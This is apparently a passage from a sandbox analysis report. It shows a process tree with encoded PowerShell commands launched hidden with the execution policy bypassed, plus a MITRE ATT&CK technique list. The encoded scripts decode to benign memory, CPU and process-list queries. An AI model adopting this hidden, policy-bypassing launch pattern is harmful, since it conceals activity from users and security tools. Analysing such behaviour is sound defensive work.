CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:2516
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1800

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Hide Artifacts

T1564

Hidden Window

T1564.003

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry